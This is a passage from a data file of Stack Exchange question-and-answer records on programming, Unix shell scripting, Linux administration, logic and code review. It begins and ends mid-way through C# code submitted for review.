state,            string zip,            string country)        {            var lastOrDefault = this.Locations.LastOrDefault();            var newAddress = new Address            {                AddressId = lastOrDefault == null ? 0 : lastOrDefault.AddressId + 1,                AddressName = addressName,                AddressType = addtype,                City = city,                State = state            };            if (streetAddress != null)            {                newAddress.StreetAddress = streetAddress;            }            if (zip != null)            {                newAddress.Zip = zip;            }            this.Locations.Add(newAddress);        }        public IList<Address> GetAllLocations()        {            return this.Locations;        }        public Address GetLocation(int addressId)        {            return this.Locations.First(x => x.AddressId == addressId);        }        public void ModifyLocation(            int addressId,            AddressType addtype,            string addressName,            string streetAddress,            string city,            string state,            string zip,            string country)        {            var addressid = this.Locations.Where(x => x.AddressId == addressId).ToList();            if (addressid.Count() != 1)            {                throw new InvalidOperationException(Cannot Delete);            }            this.Locations.Remove(addressid.First());        }        public void RemoveLocation(int addressId)        {            Debug.Assert(this.Locations != null, Locations != null);            var addressid = this.Locations.Where(x => x.AddressId == addressId).ToList();            if (addressid.Count() != 1)            {                throw new InvalidOperationException(Cannot Delete);            }            this.Locations.Remove(addressid.First());        }    }}Onto the unit test class. There are a number of stylistic issues I'd probably change, but I think only two real little testing bits that were off:In method ModifyLocationTest, you get the location count, but it would seem prudent to Assert it:GenerateMultipleLocations(5, customerObject);var initialCount = customerObject.Locations.Count;Assert.AreEqual(initialCount, 5);And method GenerateMultipleLocations can be made static.Back to the issue of the initial classes - if you can create interfaces for them, it would make dependency injection and mocking easier for unit testing. I can expound on that if you'd like, but I suggest reading up on those first."  } 
{  "id": "_unix.246362"  , "question": "I want to do this without internet connection, as I go where I don't have internet?For arch-based what's the command to download and after that how do I install packages from terminal?How to write a script to automate installation?I also cannot change my backlight in manjaro, as backlight files not found running legacy bios, but in laptop it changes using fn key, although in manjaro I don't have backlights files there too. I want to do this without any utility, I know files are located somewhere else as the fn key works!!"  , "title": "How do I download packages manually and install them then?"  , "tags": "arch linux;package management;manjaro;deb"  } 
{  "id": "_unix.297270"  , "question": "I have an SQL script which when run prompts me to input a value. If I don't input any value and press the Enter/Return key, it will select the default value and will pull all the records. I am trying to incorporate this into a shell script where I don't want the script to prompt me for any value and should just accept the return key by default. Is there a way I can do this ?Example of what I'm trying to do.in_code is the variable in the xecute.sql, which accepts a value. I want this variable to select the Enter/Return key by default. The code I use below doesn't work.#! /bin/bashsqlplus -s xxx/xxx<<!define in_code='echo -e \\n'@execute.sqlexit!"  , "title": "Input return key in an SQL script"  , "tags": "shell script;sql"  } 
{  "id": "_softwareengineering.37677"  , "question": "In my short experience here at programmers.stachexchange, when someone needs help to get started at programming quite a lot of users suggest learning this or that language, but few suggest learning the basis of programming (data structures, flow structures, algorithms, paradigms, etc.) So I'm coming to the conclusion that the programming community in general puts more value on language that on core programming skills, and here is where my question comes:Is knowing a multiple programming languages and understanding every single implementation detail more important that knowing how to abstract, transform and create some code that solves a certain problem?"  , "title": "Programming skills, problem solving genius or language guru?"  , "tags": "programming languages;skills"  , "accepted_answer": "You see, people usually experience feelings, and sometimes those feelings are a barrier to do the most important thing: team work.There are those who have excellent problem solving skills, and those who manage to remember all the tiny little deatails of every language. And over the years I've met people having one and lacking the other, and vice versa. I once worked with someone having superior problem solving skills. He'd participate in programming contests acheiving excellent results. He was a star programmer.But then, working with him on a team as a partner on daily basis was more than just complicated. His team work skills were something like the rest of the team cheering him to do all the work.Then I moved jobs and met the Architect. He knew all the Desing Patterns by memory, creating tons of layers of abstraction just because It makes sense to keep things separarted, leading to an over engineered solution twice the size of a more simpler one. And again, instead of communicating his solution to the rest, he'd open Eclipse and write all the code by himself, just because it was easier.Finally I met Q. He wasn't as smart as the first one, nor he knew all the desing patters like the Architect. But he'd code like a machine, creating elegant and simple solutions. His most notorius skill was explaining things, a skill the other two completely lacked."  } 
{  "id": "_cs.32651"  , "question": "For two proposition logical formulas $\\phi$ and $\\chi$ so that $\\phi\\implies\\chi$ is generally valid. How can I prove that there is a formular $\\psi$ with $var(\\psi )\\subseteq var(\\phi )\\cap var(\\chi )$ so that $\\phi\\implies\\psi$ and $\\psi\\implies\\chi$ are generally valid?"  , "title": "Prove the existence of a proposition logical formula so that following conditions are fulfilled"  , "tags": "logic;propositional logic"  , "accepted_answer": "The formula $\\psi$ is called an interpolant and the method of finding such an interpolant is called Craig interpolation. On the Wikipedia article you can find more information about it, including a proof that interpolants always exist in propositional logic."  } 
{  "id": "_unix.11302"  , "question": "Is there a way to write a bash script with the following functionalities?Be launched when I press some key or key combination. (not so important requirement)Identify the 7 most visited directories in last 3 hours.Offer me the list of this 7 directories so I can cycle through them with tab and shift-tab (backward). Then press enter would mean cd to the selected directory.thank you"  , "title": "Shell script printing the most visited directories"  , "tags": "bash;shell script;scripting;directory"  , "accepted_answer": "Add the following to your ~/.bashrc file:#### cd history mechanism ##############################################export CDHISTFILE=~/.cdhistoryif [ -e $CDHISTFILE ]then    cdht=`mktemp`    tail -500 $CDHISTFILE > $cdht    mv $cdht $CDHISTFILEfifunction keep_cd_history() {    if [ -z $1 ] ; then d=$HOME ; else d=$1 ; fi    cdhcan=`readlink -f $d`    if 'cd' $d    then        echo -e `date +%s`\\t$cdhcan >> $CDHISTFILE    fi}function pick_cwd_from_history() {    f=~/.cdhistgo    cdhistpick $f    if [ -r $f ] ; then cd `head -1 $f` ; fi}alias cd=keep_cd_historyalias cdh=pick_cwd_from_history########################################################################The first section truncates the cd history mechanism's custom history file if it's gotten bigger than 500 lines since the last time we looked at it. We can't use Bash's built-in history because it doesn't include timestamps, which you need in order to get the in the last 3 hours behavior.The two Bash functions do things we cannot do in the Perl code below, which otherwise does all the heavy lifting.  The only tricky bit here is the readlink call, which canonicalizes the paths you use. We have to do that so that cd $HOME ; cd ; cd ~ ; cd ../$USER results in 4 instances of the same path in the cd history, not four different entries.The aliases are just convenience wrappers for the functions.Now the really tricky bit:#!/usr/bin/perl -wuse strict;use List::Util qw(min);#### Configurables ###################################################### Number of seconds back in time to look for candidate directoriesmy $history_seconds_threshold = 3 * 60 * 60;# Ignore directories we have gone to less than this many timesmy $access_count_threshold = 1;# Number of directory options to give in pick listmy $max_choices = 7;#### DO NOT OPEN. NO USER-SERVICEABLE PARTS INSIDE. ##################### Get file name our caller wants the cd choice to be sent todie usage: $0 <choice_file>\\n unless $#ARGV == 0;my $cdhg_file = $ARGV[0];unlink $cdhg_file;      # don't care if it fails# Build summary stats from history file to find recent most-accessedmy $oldest_interesting = time - $history_seconds_threshold;my %stats;open my $cdh, '<', $ENV{HOME}/.cdhistory or die No cd history yet!\\n;while (<$cdh>) {    chomp;    my ($secs, $dir) = split /\\t/;    next unless $secs and $secs >= $oldest_interesting;    ++$stats{$dir};}# Assemble directory pick listmy @counts = sort values %stats;$access_count_threshold = $counts[$max_choices - 1] - 1        if @counts > $max_choices;my @dirs = grep { $stats{$_} > $access_count_threshold } keys %stats;$max_choices = min($max_choices, scalar @dirs);# Show pick list, and save response to the file pick_cwd_from_history()# expects.  Why a file?  The shell must call chdir(2), not us, because# if we do, we change only our CWD.  Can't use stdio; already in use.my $choice;if ($max_choices > 1) {    for (my $i = 0; $i < $max_choices; ++$i) {        print $i + 1, '. ', $dirs[$i], \\n;    }    print \\nYour choice, O splendid one? [1-$max_choices]: ;    $choice = <STDIN>;    chomp $choice;    exit 0 unless $choice =~ /^[0-9]+$/ && $choice <= $max_choices;}elsif ($max_choices == 1) {    print Would you like to go to $dirs[0]? [y/n]: ;    $choice = 1 if uc(<STDIN>) =~ /^Y/;}else {    die Not enough cd history to give choices!\\n;}if ($choice) {    open my $cdhg, '>', $cdhg_file or            die Can't write to $cdhg_file: $!\\n;    print $cdhg $dirs[$choice - 1], \\n;}Save this to a file called cdhistpick, make it executable, and put it somewhere in your PATH. You won't execute it directly. Use the cdh alias for that, as it passes in a necessary argument via pick_cwd_from_history().How does it work? Ummmm, exercise for the reader? :)To get your first requirement, the hotkey, you can use any macro recording program you like for your OS of choice. Just have it type cdh and press Enter for you. Or, you can run cdh yourself, since it's easy to type.If you want a simpler but less functional alternative that will work everywhere, get into the habit of using Bash's reverse incremental search feature, Ctrl-R. Press that, then type cd  (without the quotes, but with the trailing space) to be taken back to the previous cd command. Then each time you hit Ctrl-R, it takes you back to the cd command prior to that. In this way, you can walk backwards through all the cd commands you've given, within the limits of Bash's history feature.Say:$ echo $HISTFILESIZEto see how many command lines Bash history will store for you. You might need to increase this to hold 3 hours worth of command history.To search forward through your command history after having stepped backwards through it, press Ctrl-S.If that doesn't work on your system, it is likely due to a conflict with software flow control. You can fix it with this command:$ stty stop undefThat prevents Ctrl-S from being interpreted as the XOFF character.The consequence of this is that you can then no longer press Ctrl-S to temporarily pause terminal output. Personally, the last time I used that on purpose was back in the days of slow modems. These days with fast scrolling and big scroll-back buffers, I only use this feature by accident, then have to spend a second remembering to press Ctrl-Q to get the terminal un-stuck. :)"  } 
{  "id": "_unix.320836"  , "question": "I am trying to build a smart host in an Unix system, with Server app, Mail service and an Open Directory for local users.My question is if there is a way to use an email just for forwarding mail from several different mail users, i have test this just for one user email account, in both forwarding and in Mail app and works well, but i tried to add a second account and i receive a message telling that there already was an account for that domain (something like that i dont remember well). In exchange from microsoft i have saw one config there that there was an account just for forwarding mail, and in the ISP mail server, that was a normal email account, but locally in the exchange, i could access it like a regular local email account.Is it possible to do or there is some workarounds for this with this app's or in background messing with Postfix?Thanks!"  , "title": "Postfix relay to one server from multiple users"  , "tags": "osx;email;postfix;forwarding"  } 
{  "id": "_cs.48475"  , "question": "You are designing an elevator controller for a building with 25 floors. The controller has two inputs: UP and DOWN. It produces an output indicating the floor that the elevator is on. There is no floor 13. What is the minimum number of bits of state in the controller?Answer: The system has at least five bits of state to represent the 24 floors that the elevator might be on.Can someone explain how this comes to be?"  , "title": "Difficult Question to Understand (Computer Artitechture)"  , "tags": "computer architecture;computer algebra"  , "accepted_answer": "Well, as binary typically goes, one bit represents two possible values: 0 and 1. With two bits there are a possible combination of four values: 0, 1, 2, 3 in hex/decimal/octal or 00, 01, 10, 11 in binary. Expand out to three bits you have eight values. 0 to 7 or 000, 001, 010, 011, 100, 101, 110, and 111. Expand upon this and you'll have your understanding. For reference (with a nice animation for counting on any base): https://www.mathsisfun.com/binary-number-system.html"  } 
{  "id": "_webapps.60285"  , "question": "Yesterday I deleted some messages from facebook. I want to bring it back to my inbox today. So I logged into my facebook. Then -I went to messages.Clicked on More -> Then Archived.Then I found the deleted messages.I clicked on it and from Action selected Unarchive.Then the selected message disappeared from there and I thought it would be in the inbox. So I went inbox and looked there.But the message is not found. Why is it so ? UPDATE:So I decided to test facebook and as the part of it, I just archived a message and tried to unarchive it. No problem occured this time. The message successfully returned to the inbox. Now my question is what happened to the previously unarchived messsage ? Can I get it back still ?"  , "title": "Cannot view 'Unarchive' messages back in the inbox in facebook"  , "tags": "facebook;facebook chat"  } 
{  "id": "_vi.5126"  , "question": "I would like to create a new scratch buffer in vim script. I would like to use this buffer to output the result of the execution of a scala script.I am creating the buffer with this function:function! ScratchBuffer()  vnew  setlocal nobuflisted buftype=nofile bufhidden=wipe noswapfileendfunction then I call it as follows:let outputBuf = ScratchBuffer()outputbuf should contain the buffer number. However, this doesn't seem to work. I need the buffer number in order to then use the buffer in a python script."  , "title": "How to detect the buffer number of new buffer"  , "tags": "vimscript;buffers;vimscript python;scratch buffer;hidden buffers"  , "accepted_answer": "Your function returns nothing, but you call it expecting the buffer number. This should work:function! ScratchBuffer()  vnew  setlocal nobuflisted buftype=nofile bufhidden=wipe noswapfile  return bufnr('%')endfunction"  } 
{  "id": "_codereview.108722"  , "question": "This is my second algorithm and I will try to make it as simple for you to understand how it works. It is pretty expensive and I'd like to make it more efficient..It works by splitting a square  into 4 sides and then by determining if an edge is within a side (which is a triangle). Then collision can respond by using collision direction as a tool to reduce velocity in the y or x axis.from vector import Vectorfrom math_extra import Mathfrom utilities import utilimport randomclass Collisions():    def Detect(me, ent):            me_Pos = Vector.Add(me.GetPos(), [me.GetVelocity()[0], -me.GetVelocity()[1]]) # first entity with a predicted pos            ent_pos     = Vector.Add(ent.GetPos(), [ent.GetVelocity()[0], -ent.GetVelocity()[1]]) # second entity with a predicted pos            y_max, y_min, x_max, x_min = me_Pos[1] + (me.Entity.h * 0.5), me_Pos[1] - (me.Entity.h * 0.5),  me_Pos[0] + (me.Entity.w * 0.5), me_Pos[0] - (me.Entity.w * 0.5) # defining edge coordinates for the first entity            y_max2, y_min2, x_min2, x_max2 = ent_pos[1] + (ent.Entity.h / 2), ent_pos[1] - (ent.Entity.h / 2), ent_pos[0] - (ent.Entity.w/2), ent_pos[0] + (ent.Entity.w/2) # defining edge coordinates for the second entity            isColliding = ((x_max >= x_min2 and x_max <= x_max2) or (x_min <= x_max2 and x_min >= x_min2)) and ((y_min <= y_max2 and y_min >= y_min) or (y_max <= y_max2 and y_max >= y_min2)) # are two entitities interceting at all?            y_range   = Math.Clamp((abs(me_Pos[0] - ent_pos[0])) / (0.5 * ent.Entity.w) * ent.Entity.h, 0, ent.Entity.h) * 0.5 # y range (refer to the picture) This defines valid y coordinate range for left and right edge            y_range_2 = (y_range*0.5) # y range (refer to the picture) This defines valid y coordinate range for top and bottom range            left  =  (x_max >= x_min2 and x_max <= ent_pos[0]) and ((y_min <= ent_pos[1]+y_range and y_min >= ent_pos[1]-y_range) or (y_max <= ent_pos[1]+y_range and y_max >= ent_pos[1]-y_range)) # is something hitting me from the left            right = (x_min <= x_max2 and x_min >= ent_pos[0]) and ((y_min <= ent_pos[1]+y_range and y_min >= ent_pos[1]-y_range) or (y_max <= ent_pos[1]+y_range and y_max >= ent_pos[1]-y_range)) # is something hitting me from the right            top    = ((x_max >= x_min2 and x_max <= x_max2) or (x_min <= x_max2 and x_min >= x_min2)) and ((y_min <= y_max2 and y_min >= ent_pos[1] + y_range_2) or (y_max <= y_max2 and y_max >= ent_pos[1] + y_range_2)) # is something hitting me from the top            bottom    = ((x_max >= x_min2 and x_max <= x_max2) or (x_min <= x_max2 and x_min >= x_min2)) and ((y_max >= y_min2 and y_max <= ent_pos[1] - y_range_2) or (y_min >= y_min2 and y_min <= ent_pos[1] - y_range_2))# is something hitting me top            Collisions.Response(me, ent, [isColliding, left, right, top, bottom]) # respond to the collision            return isColliding, left, right, top, bottom # return data about the collision    def Response(me, ent, physdata):        isColliding, left, right, top, bottom = physdata[0], physdata[1], physdata[2], physdata[3], physdata[4]        me_Pos  = me.GetPos()        ent_Pos = ent.GetPos()        me_Velocity = me.GetVelocity()        if left   == True:            me.SetVelocity([me_Velocity[0] * -0.2, me_Velocity[1]])        if right  == True:            me.SetVelocity([me_Velocity[0] * -0.2, me_Velocity[1]])        if top    ==  True:            me.SetVelocity([me_Velocity[0], me_Velocity[1] * -0.2])        if bottom == True:            me.SetVelocity([me_Velocity[0], me_Velocity[1] * -0.2])        y_max, y_min, x_max, x_min = me_Pos[1] + (me.Entity.h * 0.5), me_Pos[1] - (me.Entity.h * 0.5),  me_Pos[0] + (me.Entity.w * 0.5), me_Pos[0] - (me.Entity.w * 0.5) # again defining coordinates for edges        for x in [x_max, x_min]: # looping through all edges and seeing if the distance between them and center of entity two is less than the radius            for y in [y_max, y_min]:                colliding, byDistance = util.isInSphere([x,y], ent.GetPos(), ent.Entity.w * 0.5 )                if colliding:                    me.Entity.move_ip(Vector.Multiply(Vector.Normalize(Vector.Sub(me.GetRealPos(),ent.GetRealPos())), 1+byDistance)) # if so then move the entity in other direction        Collisions.Stuck_Response(me, ent)    def Stuck_Response(me,ent):        if Vector.Distance(me.GetRealPos(), ent.GetRealPos()) < me.Entity.w * 0.7:            me.Entity.move_ip(random.randint(1,2), random.randint(1,2))            me.Entity.move_ip(Vector.Sub(me.GetRealPos(), ent.GetRealPos()))    def Translate(table): # loops through all entities and checks for collision with all of them        for k, v in enumerate(table):            for k2, v2 in enumerate(table):                ent_one = table[k]                ent_two = table[k2]                if ent_one != ent_two: # don't collide myself with myself                    Collisions.Detect(ent_one, ent_two)"  , "title": "Collision detection algorithm"  , "tags": "python;performance;collision;pygame"  , "accepted_answer": "1. ReviewThere are no docstrings. What do these functions do? What arguments do they take? What do they return?The long lines mean that we can't read the code here without scrolling it. The Python style guide (PEP8) recommends sticking to 79 characters.In Python it's good practice to use object attributes instead of getter functions. Using me.pos and me.velocity would make the code easier to read.The code start with objects called me and ent, computes positions me_Pos and ent_pos (consistent apart from the capitalization), but then goes on to compute x_min and x_min2. Later on there are ent_one and ent_two. It is hard to remember which of these goes with me and which with ent. More consistency in naming would help.The predicted position is computed like this:Vector.Add(me.GetPos(), [me.GetVelocity()[0], -me.GetVelocity()[1]])Why is the y component of the velocity inverted? It would be better to store it the other way round so you could write:Vector.Add(me.GetPos(), me.GetVelocity())It's wrong to add a position to a velocity: the dimensions don't match. Velocity is the rate of change of position: it needs to be multiplied by a timestep in order to get a change of position. Presumably your code happens to work because your velocities are measured per frame and so the timestep is always 1. But this is inflexible: it means that if you ever need to change your framerate then you have to change all the velocities. Better to measure velocities per second.The code would be much easier to read if the Vector class supported arithmetic operations (which is easy to do in Python using __add__, __mul__ and other special methods. You'd then be able to compute the predicted position like this:me.pos + me.velocity * timestepThe code could make more use of vectors. If an object's size were stored as a vector (instead of a pair of attributes w and h) then you could compute the axis-aligned bounding box more simply, perhaps like this:halfsize = me.size / 2bounding_box = me.pos - halfsize, me.pos + halfsizeThis code repeatedly computes each object's axis-aligned bounding box before each collision. This is a waste of effort: better to compute this information once per frame and remember it.The code in Stuck_Response relies on the objects having square bounding boxes (it only uses w). So why have h at all?The strategy you're following here is to move the objects and then test to see if they intersect in their updated positions. This has a problem, which is that objects can pass through each other. Consider a timestep like this, with two objects in their initial positions and their movement vectors shown:The updated positions of the objects don't intersect:But a look at the swept paths of the two objects shows that at some point during the timestep they must have collided:See this answer on Stack Overflow for some advice on finding collisions between moving convex polygons.The code in Translate compares every pair of objects. This means that it won't be able to handle very many objects before it starts to slow down due to the \\$(n^2)\\$ runtime. Better to use some kind of spatial lookup structure like a quadtree to quickly find candidate collisions."  } 
{  "id": "_unix.70612"  , "question": "I am attempting to install Arch Linux (for the hundredth time) and I recently ran across another problem. I am trying to find a list of my partitions. In order to do this I entergdiskWhen I do this however it returnsType device filename, or press  to exit:I have attempted entering gdisk /dev/disk1When I do this I get there errorProblem opening /dev/disk1 for reading! Error is 2.However, I am still able to mount partitions when I know the partition. I am simply trying to get a list of my partitions so I can remember which ones they are. Any help understanding the problem would be useful. (Off topic question: Boot loaders do not need to be installed in the first partition of root correct? Last time I installed it I put it in /boot yet I was given an error)"  , "title": "GPT Type device filename, or press  to exit?"  , "tags": "arch linux;partition"  , "accepted_answer": "gdisk is throwing an error because /dev/disk1 is only an example, not a real block device. Use gdisk /dev/sda if you want to work on your first drive.gdisk is extradordinarily well documented on it's author's, Rod Smith, site: Rod's Books."  } 
{  "id": "_unix.53869"  , "question": "I need to use tsocks (to tunnel an ssh connection through an ssh tunnel to reach given machines), but there is a problem. There are two servers that has the same IP address (that I need to reach through ssh tunnels). So the config for this situation would look like this: cat /etc/tsocks.confpath {    reaches = 10.1.1.2/255.255.255.255    server = 127.0.0.1    server_port = 3000}path {    reaches = 10.1.1.2/255.255.255.255    server = 127.0.0.1    server_port = 2000}How can I resolve this problem?"  , "title": "Same target IP address when using tsocks"  , "tags": "tsocks"  , "accepted_answer": "You'll need two tsocks.conf, one for each SOCKS server and then use them as:TSOCKS_CONF_FILE=~/.tsocks-A.conf tsocks some-cmd 10.1.1.2andTSOCKS_CONF_FILE=~/.tsocks-B.conf tsocks some-cmd 10.1.1.2Alternatively, if the SOCKS servers support SOCKS4A or SOCKS5, you could use dante's socksify instead of tsocks and use host names if they have different host name on the remote ends (and specify which SOCKS server to use based on host names or domain names in dante.conf)."  } 
{  "id": "_hardwarecs.6151"  , "question": "I'm looking for a router that could wirelessly bridge with my main wireless router and still work as a wireless access point, just like the Wireless #2 router is doing in the image below:Is there a router in the market that could do that?After some research, I found this router AC3200 but I'm not sure if it would be able to do what I described above. I assume it could be possible since it has 3 wifi interfaces, but not sure if I could setup it that way.Any suggestions?"  , "title": "Wireless bridge with AP"  , "tags": "wireless;router"  } 
{  "id": "_unix.59203"  , "question": "I would like vim to do this in order to have syntax highlight as set up in vim (or  without need for extra tools). So instead to use cat file | <some_sh_tool> I would use vim +some_opts +... +q file. The problem is that vim restores previous screen upon exit, but using some remote access tools this didn't happen so it was basically working as cat with syntax highlight. So, is this possible ?EDITThinking more about this I think this is great thing to have. Apart from syntax highlighting other features of vim could be used while displaying file content, like line numbers, white space, wrapping,etc... especially within script and because vim is omnipresent."  , "title": "Vim to print file on terminal and exit"  , "tags": "vim"  , "accepted_answer": "I found exactly what I needed in a package called vimpager.It ships with vimcat utility."  } 
{  "id": "_softwareengineering.269548"  , "question": "We are planning to build a travel website in which we will be integrating multiple APIs (eg. DOTW, GTA, Expedia) for Hotels. I have initially tried to use MySQL but since there are huge amounts of data in hotels and it may contain numerous one to many relationships with Images, Amenities and Rooms, the search becomes very slow when we have data for around 200000 Hotels. Even fetching all details for just one hotel may results in a JOIN query from at least four tables, and scanning over all hotels records. So we are planning to migrate our product schema to any NoSQL database to make our search as fast as possible.Also sometimes we need to run certain schedulers on our database for eliminating duplicates from our database and also updating the newly added hotels which are sent by our providers.Our tech stack is basically on Java, J2EE along with Springs and Hibernate.I have read about about MongoDB, Cassandra, Redis and ElasticSearch but I am now confused if simply using these tools can optimize the website search performance.  If so then what features differ between these tools that could help me make a determination?"  , "title": "Are NoSQL databases the best choice for more efficiently querying large amounts of data?"  , "tags": "database design;mongodb;redis;cassandra;elasticsearch"  } 
{  "id": "_webmaster.2746"  , "question": "There are a lot of questions on StackOverflow relating to session security / session hijacking, but there doesn't seem to be a really good solution to the problem. The three most common suggestions are as follows:Track the users IP address as part of their $_SESSION data, and possibly invalidate a session if it changes. The downside is that lots of users have dynamic IP addresses, so you risk invalidating a user seemingly at random (their perspective).Same as 1., but using a User Agent. Two issues here: there may not be a UA to track, and they can change during browser upgrades, etc.Second cookie, with a unique token. The problem here is that if an attacker gets a hold on the normal session cookie, they're very likely to be able to get a hold on your secondary token as well.So, with these three options it seems that IP address is the best option, since you're guaranteed to be passed one and its independent of physical security (and if the user is physically compromised, you lose regardless). With that in mind, I have a couple questions relating to IP address changes:How often would a users IP address really change under normal conditions. I have DSL at home, with the usual dynamic IP concerns, and according to gmail my IP hasn't changed in days. AFAIK, this only really happens when the modem cycles anyway, right? That seems like a rare enough event that it might be ok to invalidate the session.I think I remember Jeff saying in one of the SO podcasts that they did something similar, though it was possibly for something else. The idea was that using the first two (I believe) octets of an IP address could be considered close enough in some circumstances. This allows a user to move around on the same ISP, but the system would notice if the user was suddenly in another ISPs range. Is this a viable tactic?"  , "title": "Variable IPs: How variable are they? Best practices for tracking"  , "tags": "security;cookie;tracking;ip address"  } 
{  "id": "_unix.250067"  , "question": "I wanted to have a git openlast command which would look at the last commit, get a list of added or changed files, filter them to only the text files, and finally open them in an editor.So far I've done the following:git show --stat HEADread -p Open in Vim tabs? (Y/n) -n 1 -rif [[ -z $REPLY || $REPLY =~ [Yy] ]]; then  vim -p $(git diff --diff-filter=AM --ignore-submodules --name-only HEAD^)fiThe down fall is if I add or change a binary file in the previous commit then it will be opened by the editor (Vim in this case). Is there a way to take the list outputted by the git diff command and remove binary files?"  , "title": "How do I filter a list of files for text only files?"  , "tags": "bash;git"  , "accepted_answer": "You can pipe to xargs and use grep -Il  to filter out binary files:git diff --diff-filter=AM --ignore-submodules --name-only HEAD^ | \\  xargs grep -Il Example git openfiles command#!/bin/bashgit show --stat HEADfiles=($(git diff --diff-filter=AM --ignore-submodules --name-only HEAD^ | xargs grep -Il ))read -p Open ${#files[@]} files in Vim tabs? (Y/n) -n 1 -rif [[ -z $REPLY || $REPLY =~ [Yy] ]]; then  exec vim -p ${files[@]}else  exit 1fi"  } 
{  "id": "_codereview.23284"  , "question": "I have recently implemented my SQLite helper class that supports SQLite in a memory class to be opened to not to be lost. Please review it and tell me if there is a coding problem and tell me what to do to prevent\\fix it.using System;using System.Collections.Generic;using System.Data;using System.Data.SQLite;using System.Diagnostics;using System.Globalization;using System.IO;using System.Linq;namespace SQLite{    public class SqLiteDatabase : IDisposable    {        private readonly SQLiteConnection _dbConnection;        /// <summary>        /// Default Constructor for SQLiteDatabase Class.        /// </summary>        public SqLiteDatabase()        {            _dbConnection = new SQLiteConnection(Data Source=default.s3db);        }        /// <summary>        /// Single Param Constructor to specify the datasource.        /// </summary>        /// <param name=datasource>The data source. Use ':memory:' for in memory database.</param>        public SqLiteDatabase(String datasource)        {            _dbConnection = new SQLiteConnection(string.Format(Data Source={0}, datasource));        }        /// <summary>        /// Single Param Constructor for specifying advanced connection options.        /// </summary>        /// <param name=connectionOpts>A dictionary containing all desired options and their values.</param>        public SqLiteDatabase(Dictionary<String, String> connectionOpts)        {            String str = connectionOpts.Aggregate(,                                                  (current, row) =>                                                  current + String.Format({0}={1}; , row.Key, row.Value));            str = str.Trim().Substring(0, str.Length - 1);            _dbConnection = new SQLiteConnection(str);        }        #region IDisposable Members        public void Dispose()        {            if (_dbConnection != null)                _dbConnection.Dispose();            GC.Collect();            GC.SuppressFinalize(this);        }        #endregion        public bool OpenConnection()        {            try            {                if (_dbConnection.State == ConnectionState.Closed)                    _dbConnection.Open();                return true;            }            catch (Exception e)            {                Console.WriteLine(SQLite Exception : {0}, e.Message);            }            return false;        }        public bool CloseConnection()        {            try            {                _dbConnection.Close();                _dbConnection.Dispose();            }            catch (Exception e)            {                Console.WriteLine(SQLite Exception : {0}, e.Message);            }            return false;        }        /// <summary>        /// Gets the specified table from the Database.        /// </summary>        /// <param name=sql>The table to retrieve from the database.</param>        /// <returns>A DataTable containing the result set.</returns>        public DataTable GetDataTable(string sql)        {            var table = new DataTable();            try            {                using (SQLiteTransaction transaction = _dbConnection.BeginTransaction())                {                    using (var cmd = new SQLiteCommand(_dbConnection) {Transaction = transaction, CommandText = sql})                    {                        using (SQLiteDataReader reader = cmd.ExecuteReader())                        {                            table.Load(reader);                            transaction.Commit();                        }                    }                }                return table;            }            catch (Exception e)            {                Console.WriteLine(SQLite Exception : {0}, e.Message);            }            finally            {                table.Dispose();            }            return null;        }        /// <summary>        /// Executes a NonQuery against the database.        /// </summary>        /// <param name=sql>The SQL to execute.</param>        /// <returns>A double containing the time elapsed since the method has been executed.</returns>        public double? ExecuteNonQuery(string sql)        {            Stopwatch s = Stopwatch.StartNew();            try            {                using (SQLiteTransaction transaction = _dbConnection.BeginTransaction())                {                    using (var cmd = new SQLiteCommand(_dbConnection) {Transaction = transaction})                    {                        foreach (string line in new LineReader(() => new StringReader(sql)))                        {                            cmd.CommandText = line;                            cmd.ExecuteNonQuery();                        }                        transaction.Commit();                    }                }                s.Stop();                return s.Elapsed.TotalMinutes;            }            catch (Exception e)            {                Console.WriteLine(SQLite Exception : {0}, e.Message);            }            return null;        }        /// <summary>        /// Gets a single value from the database.        /// </summary>        /// <param name=sql>The SQL to execute.</param>        /// <returns>Returns the value retrieved from the database.</returns>        public string ExecuteScalar(string sql)        {            try            {                using (SQLiteTransaction transaction = _dbConnection.BeginTransaction())                {                    using (var cmd = new SQLiteCommand(_dbConnection) {Transaction = transaction, CommandText = sql})                    {                        object value = cmd.ExecuteScalar();                        transaction.Commit();                        return value != null ? value.ToString() : ;                    }                }            }            catch (Exception e)            {                Console.WriteLine(SQLite Exception : {0}, e.Message);            }            return null;        }        /// <summary>        /// Updates specific rows in the database.        /// </summary>        /// <param name=tableName>The table to update.</param>        /// <param name=data>A dictionary containing Column names and their new values.</param>        /// <param name=where>The where clause for the update statement.</param>        /// <returns>A boolean true or false to signify success or failure.</returns>        public bool Update(String tableName, Dictionary<String, String> data, String where)        {            string vals = ;            if (data.Count >= 1)            {                vals = data.Aggregate(vals,                                      (current, val) =>                                      current +                                      String.Format( {0} = '{1}',, val.Key.ToString(CultureInfo.InvariantCulture),                                                    val.Value.ToString(CultureInfo.InvariantCulture)));                vals = vals.Substring(0, vals.Length - 1);            }            try            {                ExecuteNonQuery(String.Format(update {0} set {1} where {2};, tableName, vals, where));                return true;            }            catch (Exception e)            {                Console.WriteLine(SQLite Exception : {0}, e.Message);            }            return false;        }        /// <summary>        /// Deletes specific rows in the database.        /// </summary>        /// <param name=tableName>The table from which to delete.</param>        /// <param name=where>The where clause for the delete.</param>        /// <returns>A boolean true or false to signify success or failure.</returns>        public bool Delete(String tableName, String where)        {            try            {                ExecuteNonQuery(String.Format(delete from {0} where {1};, tableName, where));                return true;            }            catch (Exception e)            {                Console.WriteLine(SQLite Exception : {0}, e.Message);            }            return false;        }        /// <summary>        /// Inserts new data to the database.        /// </summary>        /// <param name=tableName>The table into which the data will be inserted.</param>        /// <param name=data>A dictionary containing Column names and data to be inserted.</param>        /// <returns>A boolean true or false to signify success or failure.</returns>        public bool Insert(String tableName, Dictionary<String, String> data)        {            string columns = ;            string values = ;            foreach (var val in data)            {                columns += String.Format( {0},, val.Key);                values += String.Format( '{0}',, val.Value);            }            columns = columns.Substring(0, columns.Length - 1);            values = values.Substring(0, values.Length - 1);            try            {                ExecuteNonQuery(String.Format(insert into {0}({1}) values({2});, tableName, columns, values));                return true;            }            catch (Exception e)            {                Console.WriteLine(SQLite Exception : {0}, e.Message);            }            return false;        }        /// <summary>        /// Wipes all the data from the database.        /// </summary>        /// <returns>A boolean true or false to signify success or failure.</returns>        public bool WipeDatabase()        {            DataTable tables = null;            try            {                tables = GetDataTable(select NAME from SQLITE_MASTER where type='table' order by NAME;);                foreach (DataRow table in tables.Rows)                {                    WipeTable(table[NAME].ToString());                }                return true;            }            catch (Exception e)            {                Console.WriteLine(SQLite Exception : {0}, e.Message);            }            finally            {                if (tables != null) 